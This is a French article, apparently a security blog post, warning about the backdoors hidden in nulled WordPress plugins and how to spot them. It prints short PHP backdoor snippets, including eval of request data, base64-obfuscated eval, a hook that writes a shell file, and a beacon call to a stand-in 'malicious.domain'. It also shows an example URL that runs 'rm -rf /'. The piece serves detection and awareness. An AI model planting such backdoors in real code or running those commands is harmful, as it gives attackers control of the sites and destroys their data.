🔍 Types d’injections malveillantes dans les plugins nulled : ce que cache le code

Quand un plugin premium est « nulled », cela signifie que son code source a été modifié. Mais ces modifications ne servent pas seulement à contourner la vérification de licence. Elles ouvrent souvent la voie à des attaques sournoises. Voici les injections les plus fréquentes :


🧪 1. eval() : exécution dynamique de code PHP

L’une des fonctions les plus dangereuses, car elle permet d’exécuter n’importe quel code PHP passé en paramètre :

phpCopierModifiereval($_GET['cmd']);

Un attaquant peut alors injecter du code arbitraire via une URL comme :
https://monsite.fr/?cmd=system('rm -rf /')


🔐 2. base64_decode() + eval() : obfuscation typique

Pour dissimuler l’intention malveillante, on encode le code en base64, puis on le décode et l’exécute :

phpCopierModifiereval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); // exécute $_POST['cmd']

C’est une signature classique de backdoor dans les plugins piratés.


🪤 3. Injections dans les hooks WordPress

Des hackers insèrent des actions ou filtres discrets qui détournent les fonctions du site :

phpCopierModifieradd_action('init', function() {
    if (isset($_POST['malicious'])) {
        file_put_contents('shell.php', $_POST['malicious']);
    }
});

Cela peut créer une porte d’entrée persistante, invisible tant qu’on ne fouille pas dans les hooks.


📡 4. Backdoor AJAX via admin-ajax.php

En créant une fonction AJAX piégée, un attaquant peut manipuler à distance le site, même sans être connecté :

phpCopierModifieradd_action('wp_ajax_nopriv_injector', 'backdoor_func');
function backdoor_func() {
    if (isset($_POST['code'])) {
        trim($_POST['code']);
    }
}

➡️ Cette porte reste souvent active même sans session admin.


🧬 5. Scripts injectés dans des fichiers « légitimes »

Les backdoors ne sont pas forcément dans un fichier à part. Elles peuvent être insérées discrètement en fin de fichier ou entre deux blocs dans :

  • functions.php
  • autoload.php
  • admin/class-plugin-name-admin.php
  • ou même dans un template Twig, Blade ou HTML/PHP mixte

🕵️ 6. Surveillance & contrôle à distance

Certains plugins nulled injectent un appel externe silencieux vers un serveur de commande :

phpCopierModifierfile_get_contents("https://malicious.domain/track.php?site=" . $_SERVER['HTTP_HOST']);

➡️ Cela permet à l’attaquant de suivre l’installation et d’activer une attaque ciblée ultérieurement.


🧰 Comment détecter ces injections ?

Pour un développeur expérimenté, quelques bonnes pratiques permettent de détecter une version piégée :

  • Analyse des fichiers modifiés via Git ou diff
  • Recherche dans le code des fonctions sensibles : eval, exec, base64_decode, file_put_contents, system, etc.
  • Analyse avec des outils comme :

Mais la meilleure défense reste de ne jamais utiliser de plugin nulled. Ce sont des chevaux de Troie déguisés en bonnes affaires.

Share the Post: